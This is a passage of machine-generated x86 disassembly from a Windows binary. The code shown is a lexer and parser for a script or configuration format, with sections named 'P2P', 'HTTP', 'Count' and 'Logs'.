2C8h call sub_41377F lea eax, [esi+4] lea esi, [esp+4+arg_0] call sub_413F72 pop esi retn 4 sub_4109C7 endp ; =============== S U B R O U T I N E ======================================= sub_4109EB proc near ; CODE XREF: sub_411377+1Cp arg_0 = dword ptr 4 push [esp+arg_0] call sub_41C350 inc eax push eax call sub_41BAB5 push [esp+8+arg_0] mov [esi], eax push eax call sub_41C930 push [esp+10h+arg_0] call sub_41C350 mov [esi+4], eax xor eax, eax mov [esi+1Ch], eax mov [esi+20h], eax mov [esi+30h], eax mov [esi+8], eax mov [esi+24h], eax mov [esi+0Ch], eax mov [esi+14h], eax add esp, 14h mov eax, esi retn 4 sub_4109EB endp ; --------------------------------------------------------------------------- loc_410A32: ; CODE XREF: .text:00427DBBj push dword ptr [eax] call sub_41CA28 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_410A3B proc near ; CODE XREF: sub_410EEB:loc_410F06p ; .text:00412257p ... push edi xor edi, edi cmp [esi+1Ch], edi jz short loc_410A48 push 10h pop eax pop edi retn ; --------------------------------------------------------------------------- loc_410A48: ; CODE XREF: sub_410A3B+6j push ebx push ebp mov eax, esi mov [esi+30h], edi mov [esi+8], edi call sub_410F14 mov eax, [esi+20h] cmp eax, [esi+4] jnb loc_410EE4 xor ebp, ebp push 2 inc ebp pop ebx loc_410A69: ; CODE XREF: sub_410A3B+373j mov edx, [esi+30h] cmp edx, edi jnz loc_410C74 cmp [esi+0Ch], edi jz short loc_410A87 mov eax, [esi] mov ecx, [esi+20h] mov dl, [esi+10h] mov [eax+ecx], dl mov [esi+0Ch], edi loc_410A87: ; CODE XREF: sub_410A3B+3Cj cmp [esi+14h], edi jz short loc_410A98 mov eax, [esi+18h] mov ecx, [esi] mov byte ptr [eax+ecx], 22h mov [esi+14h], edi loc_410A98: ; CODE XREF: sub_410A3B+4Fj mov eax, [esi] mov ecx, [esi+20h] mov [esi+34h], edi mov [esi+38h], edi mov [esi+40h], edi mov [esi+3Ch], edi mov [esi+44h], edi mov [esi+48h], edi movsx eax, byte ptr [eax+ecx] push eax call sub_41D63C test eax, eax pop ecx jz short loc_410AC6 mov [esi+34h], ebp jmp loc_410D83 ; --------------------------------------------------------------------------- loc_410AC6: ; CODE XREF: sub_410A3B+81j mov eax, [esi] mov ecx, [esi+20h] movsx eax, byte ptr [eax+ecx] push eax call sub_41D5FD test eax, eax pop ecx jz short loc_410AE2 mov [esi+44h], ebp jmp loc_410D83 ; --------------------------------------------------------------------------- loc_410AE2: ; CODE XREF: sub_410A3B+9Dj mov edi, [esi+20h] mov ecx, [esi] lea edx, [ecx+edi] mov al, [edx] cmp al, 22h jnz short loc_410AF8 mov [esi+40h], ebp jmp loc_410D83 ; --------------------------------------------------------------------------- loc_410AF8: ; CODE XREF: sub_410A3B+B3j cmp al, 24h jz loc_410C59 cmp al, 40h jz loc_410C59 cmp al, 5Bh jz loc_410DB3 cmp al, 5Dh jz loc_410DB7 cmp al, 28h jz loc_410DBB cmp al, 29h jz loc_410DBF cmp al, 7Bh jz loc_410DC3 cmp al, 7Dh jz loc_410DC7 cmp al, 3Fh jz loc_410DD3 cmp al, 3Ah jz loc_410DD3 cmp al, 2Ch jz loc_410DCB cmp al, 3Bh jz loc_410DCF cmp al, 7Eh jz loc_410DD3 cmp al, 21h jz loc_410DE0 cmp al, 2Bh jz loc_410DFD cmp al, 2Dh jz loc_410E0B cmp al, 3Dh jz loc_410DE0 cmp al, 26h jz loc_410E19 cmp al, 5Eh jz loc_410DE0 cmp al, 7Ch jz loc_410E2C cmp al, 2Fh jnz short loc_410C0B mov dl, [edx+1] cmp dl, 3Dh jz loc_410E3F cmp dl, al jnz short loc_410BD0 cmp edi, [esi+4] jnb loc_410D83 loc_410BB5: ; CODE XREF: sub_410A3B+18Ej mov eax, [esi+20h] cmp byte ptr [ecx+eax], 0Ah jz loc_410DA0 inc eax mov [esi+20h], eax cmp eax, [esi+4] jb short loc_410BB5 jmp loc_410D83 ; --------------------------------------------------------------------------- loc_410BD0: ; CODE XREF: sub_410A3B+16Fj cmp dl, 2Ah jnz loc_410E47 cmp edi, [esi+4] jnb short loc_410BF7 loc_410BDE: ; CODE XREF: sub_410A3B+1BAj mov eax, [esi+20h] cmp byte ptr [ecx+eax], 2Ah jnz short loc_410BEE cmp byte ptr [ecx+eax+1], 2Fh jz short loc_410C03 loc_410BEE: ; CODE XREF: sub_410A3B+1AAj inc eax mov [esi+20h], eax cmp eax, [esi+4] jb short loc_410BDE loc_410BF7: ; CODE XREF: sub_410A3B+1A1j mov dword ptr [esi+1Ch], 3 jmp loc_410EAF ; --------------------------------------------------------------------------- loc_410C03: ; CODE XREF: sub_410A3B+1B1j add [esi+20h], ebx jmp loc_410DA0 ; --------------------------------------------------------------------------- loc_410C0B: ; CODE XREF: sub_410A3B+15Fj cmp al, 25h jz loc_410DE0 cmp al, 2Ah jz loc_410DE0 cmp al, 3Ch jz loc_410E4F cmp al, 3Eh jz loc_410E78 movsx eax, al push eax call sub_41D676 test eax, eax pop ecx jnz short loc_410C51 mov eax, [esi] mov ecx, [esi+20h] mov al, [eax+ecx] cmp al, 0Dh jz short loc_410C51 cmp al, 0Ah jz short loc_410C51 cmp al, 9 jnz loc_410D83 loc_410C51: ; CODE XREF: sub_410A3B+1FCj ; sub_410A3B+208j ... inc dword ptr [esi+20h] jmp loc_410DA0 ; --------------------------------------------------------------------------- loc_410C59: ; CODE XREF: sub_410A3B+BFj ; sub_410A3B+C7j movsx eax, byte ptr [edx+1] push eax call sub_41D5FD test eax, eax pop ecx jz loc_410EA5 mov [esi+3Ch], ebp jmp loc_410D83 ; --------------------------------------------------------------------------- loc_410C74: ; CODE XREF: sub_410A3B+33j cmp [esi+44h], edi jz short loc_410CC3 mov eax, [esi] mov ecx, [esi+20h] movsx eax, byte ptr [eax+ecx] push eax call sub_41D6B0 test eax, eax pop ecx jnz loc_410D83 mov eax, [esi+20h] mov ecx, [esi] mov cl, [eax+ecx] cmp cl, 5Fh jz loc_410D83 cmp cl, 2Eh jnz short loc_410CB1 inc dword ptr [esi+30h] inc eax mov [esi+48h], ebp mov [esi+20h], eax loc_410CB1: ; CODE XREF: sub_410A3B+26Aj mov eax, esi call sub_410F42 mov [esi+44h], edi mov [esi+48h], edi jmp loc_410D75 ; --------------------------------------------------------------------------- loc_410CC3: ; CODE XREF: sub_410A3B+23Cj cmp [esi+34h], edi jz short loc_410CFD mov eax, [esi] mov ecx, [esi+20h] mov al, [eax+ecx] cmp al, 2Eh jnz short loc_410CDF mov [esi+34h], edi mov [esi+38h], ebp jmp loc_410D83 ; --------------------------------------------------------------------------- loc_410CDF: ; CODE XREF: sub_410A3B+297j movsx eax, al push eax call sub_41D63C test eax, eax pop ecx jnz loc_410D83 mov eax, esi call sub_410F42 mov [esi+34h], edi jmp short loc_410D75 ; --------------------------------------------------------------------------- loc_410CFD: ; CODE XREF: sub_410A3B+28Bj cmp [esi+38h], edi jz short loc_410D22 mov eax, [esi] mov ecx, [esi+20h] movsx eax, byte ptr [eax+ecx] push eax call sub_41D63C test eax, eax pop ecx jnz short loc_410D83 mov eax, esi call sub_410F42 mov [esi+38h], edi jmp short loc_410D75 ; --------------------------------------------------------------------------- loc_410D22: ; CODE XREF: sub_410A3B+2C5j cmp [esi+40h], edi jz short loc_410D47 mov eax, [esi+20h] mov ecx, [esi] mov cl, [eax+ecx] cmp cl, 22h jz loc_410EB3 cmp cl, 5Ch jnz short loc_410D83 inc eax inc edx mov [esi+20h], eax mov [esi+30h], edx jmp short loc_410D83 ; --------------------------------------------------------------------------- loc_410D47: ; CODE XREF: sub_410A3B+2EAj cmp [esi+3Ch], edi jz short loc_410D83 mov eax, [esi] mov ecx, [esi+20h] movsx eax, byte ptr [eax+ecx] push eax call sub_41D6B0 test eax, eax pop ecx jnz short loc_410D83 mov eax, [esi] mov ecx, [esi+20h] cmp byte ptr [eax+ecx], 5Fh jz short loc_410D83 mov eax, esi call sub_410F42 mov [esi+3Ch], edi loc_410D75: ; CODE XREF: sub_410A3B+283j ; sub_410A3B+2C0j ... cmp eax, edi mov ecx, [esi+30h] mov [esi+8], ecx jnz loc_410EE7 loc_410D83: ; CODE XREF: sub_410A3B+86j ; sub_410A3B+A2j ... inc dword ptr [esi+20h] mov eax, [esi+20h] cmp eax, [esi+4] jb short loc_410D9D mov eax, esi call sub_410F42 test eax, eax jnz loc_410ED6 loc_410D9D: ; CODE XREF: sub_410A3B+351j inc dword ptr [esi+30h] loc_410DA0: ; CODE XREF: sub_410A3B+181j ; sub_410A3B+1CBj ... mov eax, [esi+20h] cmp eax, [esi+4] jnb loc_410EE4 xor edi, edi jmp loc_410A69 ; --------------------------------------------------------------------------- loc_410DB3: ; CODE XREF: sub_410A3B+CFj push 9 jmp short loc_410DD5 ; --------------------------------------------------------------------------- loc_410DB7: ; CODE XREF: sub_410A3B+D7j push 0Ah jmp short loc_410DD5 ; --------------------------------------------------------------------------- loc_410DBB: ; CODE XREF: sub_410A3B+DFj push 7 jmp short loc_410DD5 ; --------------------------------------------------------------------------- loc_410DBF: ; CODE XREF: sub_410A3B+E7j push 8 jmp short loc_410DD5 ; --------------------------------------------------------------------------- loc_410DC3: ; CODE XREF: sub_410A3B+EFj push 0Bh jmp short loc_410DD5 ; --------------------------------------------------------------------------- loc_410DC7: ; CODE XREF: sub_410A3B+F7j push 0Ch jmp short loc_410DD5 ; --------------------------------------------------------------------------- loc_410DCB: ; CODE XREF: sub_410A3B+10Fj push 5 jmp short loc_410DD5 ; --------------------------------------------------------------------------- loc_410DCF: ; CODE XREF: sub_410A3B+117j push 6 jmp short loc_410DD5 ; --------------------------------------------------------------------------- loc_410DD3: ; CODE XREF: sub_410A3B+FFj ; sub_410A3B+107j ... push 4 loc_410DD5: ; CODE XREF: sub_410A3B+37Aj ; sub_410A3B+37Ej ... inc dword ptr [esi+20h] mov [esi+8], ebp jmp loc_410EE6 ; --------------------------------------------------------------------------- loc_410DE0: ; CODE XREF: sub_410A3B+127j ; sub_410A3B+13Fj ... mov eax, [esi+20h] mov ecx, [esi] cmp byte ptr [eax+ecx+1], 3Dh loc_410DEA: ; CODE XREF: sub_410A3B+3EFj ; sub_410A3B+402j ... push 4 jnz loc_410E9C mov [esi+8], ebx add eax, 2 jmp loc_410EA0 ; --------------------------------------------------------------------------- loc_410DFD: ; CODE XREF: sub_410A3B+12Fj mov eax, [esi+20h] mov ecx, [esi] mov cl, [eax+ecx+1] cmp cl, 2Bh jmp short loc_410E38 ; --------------------------------------------------------------------------- loc_410E0B: ; CODE XREF: sub_410A3B+137j mov eax, [esi+20h] mov ecx, [esi] mov cl, [eax+ecx+1] cmp cl, 2Dh jmp short loc_410E38 ; --------------------------------------------------------------------------- loc_410E19: ; CODE XREF: sub_410A3B+147j mov eax, [esi+20h] mov ecx, [esi] mov cl, [eax+ecx+1] cmp cl, 3Dh jz short loc_410E87 cmp cl, 26h jmp short loc_410DEA ; --------------------------------------------------------------------------- loc_410E2C: ; CODE XREF: sub_410A3B+157j mov eax, [esi+20h] mov ecx, [esi] mov cl, [eax+ecx+1] cmp cl, 7Ch loc_410E38: ; CODE XREF: sub_410A3B+3CEj ; sub_410A3B+3DCj jz short loc_410E87 cmp cl, 3Dh jmp short loc_410DEA ; --------------------------------------------------------------------------- loc_410E3F: ; CODE XREF: sub_410A3B+167j add [esi+20h], ebx mov [esi+8], ebx jmp short loc_410E90 ; --------------------------------------------------------------------------- loc_410E47: ; CODE XREF: sub_410A3B+198j inc dword ptr [esi+20h] mov [esi+8], ebp jmp short loc_410E90 ; --------------------------------------------------------------------------- loc_410E4F: ; CODE XREF: sub_410A3B+1E2j mov eax, [esi+20h] mov ecx, [esi] add ecx, eax mov dl, [ecx+1] cmp dl, 3Ch loc_410E5C: ; CODE XREF: sub_410A3B+44Aj jnz short loc_410E94 lea edx, [eax+1] cmp edx, [esi+4] jnb short loc_410E87 cmp byte ptr [ecx+2], 3Dh jnz short loc_410E87 mov dword ptr [esi+8], 3 add eax, 3 jmp short loc_410E8D ; --------------------------------------------------------------------------- loc_410E78: ; CODE XREF: sub_410A3B+1EAj mov eax, [esi+20h] mov ecx, [esi] add ecx, eax mov dl, [ecx+1] cmp dl, 3Eh jmp short loc_410E5C ; --------------------------------------------------------------------------- loc_410E87: ; CODE XREF: sub_410A3B+3EAj ; sub_410A3B:loc_410E38j ... mov [esi+8], ebx add eax, 2 loc_410E8D: ; CODE XREF: sub_410A3B+43Bj mov [esi+20h], eax loc_410E90: ; CODE XREF: sub_410A3B+40Aj ; sub_410A3B+412j push 4 jmp short loc_410EE6 ; --------------------------------------------------------------------------- loc_410E94: ; CODE XREF: sub_410A3B:loc_410E5Cj cmp dl, 3Dh jmp loc_410DEA ; --------------------------------------------------------------------------- loc_410E9C: ; CODE XREF: sub_410A3B+3B1j mov [esi+8], ebp inc eax loc_410EA0: ; CODE XREF: sub_410A3B+3BDj mov [esi+20h], eax jmp short loc_410EE6 ; --------------------------------------------------------------------------- loc_410EA5: ; CODE XREF: sub_410A3B+22Bj and dword ptr [esi+8], 0 inc dword ptr [esi+20h] mov [esi+1Ch], ebp loc_410EAF: ; CODE XREF: sub_410A3B+1C3j push 10h jmp short loc_410EE6 ; --------------------------------------------------------------------------- loc_410EB3: ; CODE XREF: sub_410A3B+2F7j mov eax, [esi] mov ecx, [esi+20h] mov byte ptr [eax+ecx], 0 mov eax, [esi+20h] mov [esi+18h], eax inc eax mov [esi+20h], eax mov eax, [esi+30h] mov [esi+14h], ebp mov [esi+8], eax mov [esi+40h], edi push 0Fh jmp short loc_410EE6 ; --------------------------------------------------------------------------- loc_410ED6: ; CODE XREF: sub_410A3B+35Cj cmp eax, 10h jz short loc_410EE7 mov ecx, [esi+30h] inc ecx mov [esi+8], ecx jmp short loc_410EE7 ; --------------------------------------------------------------------------- loc_410EE4: ; CODE XREF: sub_410A3B+22j ; sub_410A3B+36Bj push 11h loc_410EE6: ; CODE XREF: sub_410A3B+3A0j ; sub_410A3B+457j ... pop eax loc_410EE7: ; CODE XREF: sub_410A3B+342j ; sub_410A3B+49Ej ... pop ebp pop ebx pop edi retn sub_410A3B endp ; =============== S U B R O U T I N E ======================================= sub_410EEB proc near ; CODE XREF: sub_41226A+214p ; sub_41226A+3F4p ... push esi mov esi, eax cmp dword ptr [esi+24h], 0 jnz short loc_410F02 mov eax, [esi+20h] mov [esi+28h], eax mov eax, [esi+8] mov [esi+2Ch], eax jmp short loc_410F06 ; --------------------------------------------------------------------------- loc_410F02: ; CODE XREF: sub_410EEB+7j and dword ptr [esi+24h], 0 loc_410F06: ; CODE XREF: sub_410EEB+15j call sub_410A3B mov dword ptr [esi+24h], 1 pop esi retn sub_410EEB endp ; =============== S U B R O U T I N E ======================================= sub_410F14 proc near ; CODE XREF: sub_410A3B+17p ; sub_41226A+239p ... xor ecx, ecx cmp [eax+24h], ecx jz short locret_410F41 cmp [eax+0Ch], ecx jz short loc_410F32 mov edx, [eax+20h] push ebx mov bl, [eax+10h] push esi mov esi, [eax] mov [edx+esi], bl pop esi mov [eax+0Ch], ecx pop ebx loc_410F32: ; CODE XREF: sub_410F14+Aj mov edx, [eax+28h] mov [eax+20h], edx mov edx, [eax+2Ch] mov [eax+8], edx mov [eax+24h], ecx locret_410F41: ; CODE XREF: sub_410F14+5j retn sub_410F14 endp ; =============== S U B R O U T I N E ======================================= sub_410F42 proc near ; CODE XREF: sub_410A3B+278p ; sub_410A3B+2B8p ... xor ecx, ecx cmp [eax+48h], ecx jz short loc_410F4D push 2 pop eax retn ; --------------------------------------------------------------------------- loc_410F4D: ; CODE XREF: sub_410F42+5j cmp [eax+44h], ecx jz short loc_410F56 xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_410F56: ; CODE XREF: sub_410F42+Ej cmp [eax+34h], ecx jz short loc_410F5F push 0Dh pop eax retn ; --------------------------------------------------------------------------- loc_410F5F: ; CODE XREF: sub_410F42+17j cmp [eax+38h], ecx jz short loc_410F68 push 0Eh pop eax retn ; --------------------------------------------------------------------------- loc_410F68: ; CODE XREF: sub_410F42+20j cmp [eax+40h], ecx jz short loc_410F78 push 10h mov dword ptr [eax+1Ch], 2 pop eax retn ; --------------------------------------------------------------------------- loc_410F78: ; CODE XREF: sub_410F42+29j mov eax, [eax+3Ch] neg eax sbb eax, eax and eax, 3 retn sub_410F42 endp ; =============== S U B R O U T I N E ======================================= sub_410F83 proc near ; CODE XREF: sub_41226A+72p ; sub_41226A+8Dp ... cmp dword ptr [ecx+0Ch], 0 jnz short loc_410F94 mov eax, [ecx+20h] mov edx, [ecx] mov al, [eax+edx] mov [ecx+10h], al loc_410F94: ; CODE XREF: sub_410F83+4j mov eax, [ecx] mov edx, [ecx+20h] mov dword ptr [ecx+0Ch], 1 mov byte ptr [eax+edx], 0 mov eax, [ecx] sub eax, [ecx+8] add eax, [ecx+20h] retn sub_410F83 endp ; =============== S U B R O U T I N E ======================================= sub_410FAD proc near ; CODE XREF: sub_411204+Cp ; sub_411204+16p ... push offset dword_4303C4 push esi call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_410FC0 inc eax retn ; --------------------------------------------------------------------------- loc_410FC0: ; CODE XREF: sub_410FAD+Fj push offset dword_4303D4 push esi call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_410FD8 push 2 jmp loc_4111B9 ; --------------------------------------------------------------------------- loc_410FD8: ; CODE XREF: sub_410FAD+22j push offset dword_4303CC push esi call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_410FF0 push 3 jmp loc_4111B9 ; --------------------------------------------------------------------------- loc_410FF0: ; CODE XREF: sub_410FAD+3Aj push offset dword_4308E0 push esi call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_411008 push 4 jmp loc_4111B9 ; --------------------------------------------------------------------------- loc_411008: ; CODE XREF: sub_410FAD+52j push offset dword_4308DC push esi call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_411020 push 5 jmp loc_4111B9 ; --------------------------------------------------------------------------- loc_411020: ; CODE XREF: sub_410FAD+6Aj push offset dword_4308D8 push esi call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_411038 push 6 jmp loc_4111B9 ; --------------------------------------------------------------------------- loc_411038: ; CODE XREF: sub_410FAD+82j push offset dword_430490 push esi call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_411050 push 7 jmp loc_4111B9 ; --------------------------------------------------------------------------- loc_411050: ; CODE XREF: sub_410FAD+9Aj push offset asc_430038 ; "/" push esi call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_411068 push 8 jmp loc_4111B9 ; --------------------------------------------------------------------------- loc_411068: ; CODE XREF: sub_410FAD+B2j push offset dword_4304A8 push esi call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_411080 push 9 jmp loc_4111B9 ; --------------------------------------------------------------------------- loc_411080: ; CODE XREF: sub_410FAD+CAj push offset asc_4308D4 ; "<<" push esi call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_411098 push 0Ah jmp loc_4111B9 ; --------------------------------------------------------------------------- loc_411098: ; CODE XREF: sub_410FAD+E2j push offset asc_4308D0 ; ">>" push esi call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_4110B0 push 0Bh jmp loc_4111B9 ; --------------------------------------------------------------------------- loc_4110B0: ; CODE XREF: sub_410FAD+FAj push offset dword_430498 push esi call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_4110C8 push 0Ch jmp loc_4111B9 ; --------------------------------------------------------------------------- loc_4110C8: ; CODE XREF: sub_410FAD+112j push offset dword_4303D0 push esi call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_4110E0 push 0Dh jmp loc_4111B9 ; --------------------------------------------------------------------------- loc_4110E0: ; CODE XREF: sub_410FAD+12Aj push offset dword_4304A0 push esi call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_4110F8 push 0Eh jmp loc_4111B9 ; --------------------------------------------------------------------------- loc_4110F8: ; CODE XREF: sub_410FAD+142j push offset dword_4303B4 push esi call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_411110 push 0Fh jmp loc_4111B9 ; --------------------------------------------------------------------------- loc_411110: ; CODE XREF: sub_410FAD+15Aj push offset asc_4308CC ; "&&" push esi call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_411128 push 10h jmp loc_4111B9 ; --------------------------------------------------------------------------- loc_411128: ; CODE XREF: sub_410FAD+172j push offset asc_4308C8 ; "||" push esi call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_41113D push 11h jmp short loc_4111B9 ; --------------------------------------------------------------------------- loc_41113D: ; CODE XREF: sub_410FAD+18Aj push offset asc_43036C ; "!" push esi call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_411152 push 12h jmp short loc_4111B9 ; --------------------------------------------------------------------------- loc_411152: ; CODE XREF: sub_410FAD+19Fj push offset asc_4308C4 ; "==" push esi call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_411167 push 13h jmp short loc_4111B9 ; --------------------------------------------------------------------------- loc_411167: ; CODE XREF: sub_410FAD+1B4j push offset dword_4303BC push esi call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_41117C push 14h jmp short loc_4111B9 ; --------------------------------------------------------------------------- loc_41117C: ; CODE XREF: sub_410FAD+1C9j push offset dword_4304C8 push esi call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_411191 push 15h jmp short loc_4111B9 ; --------------------------------------------------------------------------- loc_411191: ; CODE XREF: sub_410FAD+1DEj push offset asc_4308C0 ; "!=" push esi call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_4111A6 push 16h jmp short loc_4111B9 ; --------------------------------------------------------------------------- loc_4111A6: ; CODE XREF: sub_410FAD+1F3j push offset asc_4308BC ; ">=" push esi call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_4111BB push 17h loc_4111B9: ; CODE XREF: sub_410FAD+26j ; sub_410FAD+3Ej ... pop eax retn ; --------------------------------------------------------------------------- loc_4111BB: ; CODE XREF: sub_410FAD+208j push offset asc_4308B8 ; "<=" push esi call sub_41C730 neg eax sbb eax, eax pop ecx and eax, 0FFFFFFE8h pop ecx add eax, 18h retn sub_410FAD endp ; =============== S U B R O U T I N E ======================================= sub_4111D3 proc near ; CODE XREF: sub_41226A+22Dp ; sub_41226A+40Dp cmp eax, 1 jz short loc_4111E5 cmp eax, 4 jz short loc_4111E5 cmp eax, 5 jz short loc_4111E5 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4111E5: ; CODE XREF: sub_4111D3+3j ; sub_4111D3+8j ... xor eax, eax inc eax retn sub_4111D3 endp ; =============== S U B R O U T I N E ======================================= sub_4111E9 proc near ; CODE XREF: sub_411204+3p ; sub_413535+6Bp ... cmp eax, 3 jz short loc_411200 cmp eax, 0Dh jz short loc_411200 cmp eax, 0Eh jz short loc_411200 cmp eax, 0Fh jz short loc_411200 xor eax, eax retn ; --------------------------------------------------------------------------- loc_411200: ; CODE XREF: sub_4111E9+3j ; sub_4111E9+8j ... xor eax, eax inc eax retn sub_4111E9 endp ; =============== S U B R O U T I N E ======================================= sub_411204 proc near ; CODE XREF: sub_413535+5Fp ; sub_41371A+Fp ... push esi mov esi, ecx call sub_4111E9 test eax, eax jnz short loc_411246 call sub_410FAD cmp eax, 12h jz short loc_411246 call sub_410FAD cmp eax, 0Fh jz short loc_411246 call sub_410FAD cmp eax, 6 jz short loc_411246 call sub_410FAD cmp eax, 4 jz short loc_411246 call sub_410FAD cmp eax, 5 jz short loc_411246 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_411246: ; CODE XREF: sub_411204+Aj ; sub_411204+14j ... xor eax, eax inc eax pop esi retn sub_411204 endp ; =============== S U B R O U T I N E ======================================= sub_41124B proc near ; CODE XREF: sub_412B5E+20p ; sub_413535+50p ... arg_0 = dword ptr 4 cmp [esp+arg_0], 4 push esi mov esi, eax jnz short loc_411295 call sub_410FAD test eax, eax jz short loc_411295 call sub_410FAD cmp eax, 12h jz short loc_411295 call sub_410FAD cmp eax, 0Fh jz short loc_411295 call sub_410FAD cmp eax, 6 jz short loc_411295 call sub_410FAD cmp eax, 4 jz short loc_411295 call sub_410FAD cmp eax, 5 jz short loc_411295 xor eax, eax inc eax pop esi retn ; --------------------------------------------------------------------------- loc_411295: ; CODE XREF: sub_41124B+8j ; sub_41124B+11j ... xor eax, eax pop esi retn sub_41124B endp ; =============== S U B R O U T I N E ======================================= sub_411299 proc near ; CODE XREF: .text:004086CAp ; sub_40C201+25p mov eax, offset loc_427EBE call sub_41E550 push esi mov esi, [ebp+8] and dword ptr [esi+4], 0 or dword ptr [esi+0Ch], 0FFFFFFFFh and dword ptr [ebp-4], 0 push dword ptr [ebp+0Ch] mov dword ptr [esi], offset off_4307F0 call sub_41C350 inc eax inc eax push eax call sub_41BAB5 push dword ptr [ebp+0Ch] mov [esi+14h], eax push eax call sub_41C930 push offset dword_4303A4 push dword ptr [esi+14h] call sub_41C940 push 2DCh call sub_41BA91 add esp, 1Ch mov [ebp+0Ch], eax test eax, eax mov byte ptr [ebp-4], 1 jz short loc_411306 push esi push dword ptr [esi+14h] push eax call sub_411377 jmp short loc_411308 ; --------------------------------------------------------------------------- loc_411306: ; CODE XREF: sub_411299+5Fj xor eax, eax loc_411308: ; CODE XREF: sub_411299+6Bj mov ecx, [ebp-0Ch] mov [esi+10h], eax mov eax, esi pop esi mov large fs:0, ecx leave retn 8 sub_411299 endp ; =============== S U B R O U T I N E ======================================= sub_41131C proc near ; DATA XREF: .text:004307F4o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_411338 test [esp+4+arg_0], 1 jz short loc_411332 push esi call sub_41C7B8 pop ecx loc_411332: ; CODE XREF: sub_41131C+Dj mov eax, esi pop esi retn 4 sub_41131C endp ; =============== S U B R O U T I N E ======================================= sub_411338 proc near ; CODE XREF: sub_41131C+3p push ebx push dword ptr [esi+14h] mov dword ptr [esi], offset off_4307F0 call sub_41CA28 mov ebx, [esi+10h] test ebx, ebx pop ecx jz short loc_41135B call sub_4121F3 push ebx call sub_41C7B8 pop ecx loc_41135B: ; CODE XREF: sub_411338+15j mov ecx, esi pop ebx jmp sub_416AA6 sub_411338 endp ; --------------------------------------------------------------------------- loc_411363: ; DATA XREF: .text:off_4307F0o mov eax, [ecx+10h] jmp loc_41223B ; =============== S U B R O U T I N E ======================================= sub_41136B proc near ; DATA XREF: .text:004307F8o push ecx mov eax, offset dword_4381B8 call sub_4138FB retn sub_41136B endp ; =============== S U B R O U T I N E ======================================= sub_411377 proc near ; CODE XREF: sub_411299+66p mov eax, offset loc_427EA2 call sub_41E550 sub esp, 38h push ebx mov ebx, [ebp+8] push esi push edi push dword ptr [ebp+0Ch] lea esi, [ebx+104h] call sub_4109EB and dword ptr [ebp-4], 0 push offset word_42FE36 lea eax, [ebx+15Ch] push eax mov ecx, ebx call sub_413878 lea eax, [ebx+288h] push eax mov byte ptr [ebp-4], 1 call sub_4121C3 lea eax, [ebx+2A8h] push eax mov byte ptr [ebp-4], 2 call sub_4121C3 lea edi, [ebx+2C8h] xor eax, eax mov [edi+4], eax mov [edi+8], eax mov [edi+0Ch], eax mov byte ptr [ebp-4], 4 mov ecx, [ebp+0Ch] mov [ebx+150h], ecx mov ecx, [ebp+10h] mov esi, 12Ch push esi mov [ebx+2D8h], ecx mov [ebx+100h], eax mov [ebx+154h], eax mov [ebx+158h], eax mov [ebx], al call sub_41BA91 pop ecx mov [ebp+0Ch], eax test eax, eax mov byte ptr [ebp-4], 5 jz short loc_411433 push offset aP2p ; "P2P" push eax mov ecx, ebx call sub_413878 mov [ebp+10h], eax jmp short loc_411437 ; --------------------------------------------------------------------------- loc_411433: ; CODE XREF: sub_411377+A8j and dword ptr [ebp+10h], 0 loc_411437: ; CODE XREF: sub_411377+BAj push dword ptr [ebp+10h] mov eax, edi mov byte ptr [ebp-4], 4 call sub_41377F push dword ptr [ebp+10h] lea eax, [ebx+274h] mov [ebp+0Ch], eax call sub_413D2E push esi call sub_41BA91 pop ecx mov [ebp-44h], eax test eax, eax mov byte ptr [ebp-4], 6 jz short loc_41147A push offset aCount ; "Count" push eax mov ecx, ebx call sub_413878 mov [ebp-14h], eax jmp short loc_41147E ; --------------------------------------------------------------------------- loc_41147A: ; CODE XREF: sub_411377+EFj and dword ptr [ebp-14h], 0 loc_41147E: ; CODE XREF: sub_411377+101j push dword ptr [ebp-14h] mov eax, edi mov byte ptr [ebp-4], 4 call sub_41377F mov eax, [ebp+10h] push dword ptr [ebp-14h] add eax, 118h call sub_413D2E push esi call sub_41BA91 pop ecx mov [ebp-44h], eax test eax, eax mov byte ptr [ebp-4], 7 jz short loc_4114C0 push offset aHttp_0 ; "HTTP" push eax mov ecx, ebx call sub_413878 mov [ebp-18h], eax jmp short loc_4114C4 ; --------------------------------------------------------------------------- loc_4114C0: ; CODE XREF: sub_411377+135j and dword ptr [ebp-18h], 0 loc_4114C4: ; CODE XREF: sub_411377+147j push dword ptr [ebp-18h] mov eax, edi mov byte ptr [ebp-4], 4 call sub_41377F push dword ptr [ebp-18h] mov eax, [ebp+0Ch] call sub_413D2E push esi call sub_41BA91 pop ecx mov [ebp-44h], eax test eax, eax mov byte ptr [ebp-4], 8 jz short loc_411501 push offset aLogs ; "Logs" push eax mov ecx, ebx call sub_413878 mov [ebp-1Ch], eax jmp short loc_411505 ; --------------------------------------------------------------------------- loc_411501: ; CODE XREF: sub_411377+176j and dword ptr [ebp-1Ch], 0 loc_411505: ; CODE XREF: sub_411377+188j push dword ptr [ebp-1Ch] mov eax, edi mov byte ptr [ebp-4], 4 call sub_41377F push dword ptr [ebp-1Ch] mov eax, [ebp+0Ch] call sub_413D2E push 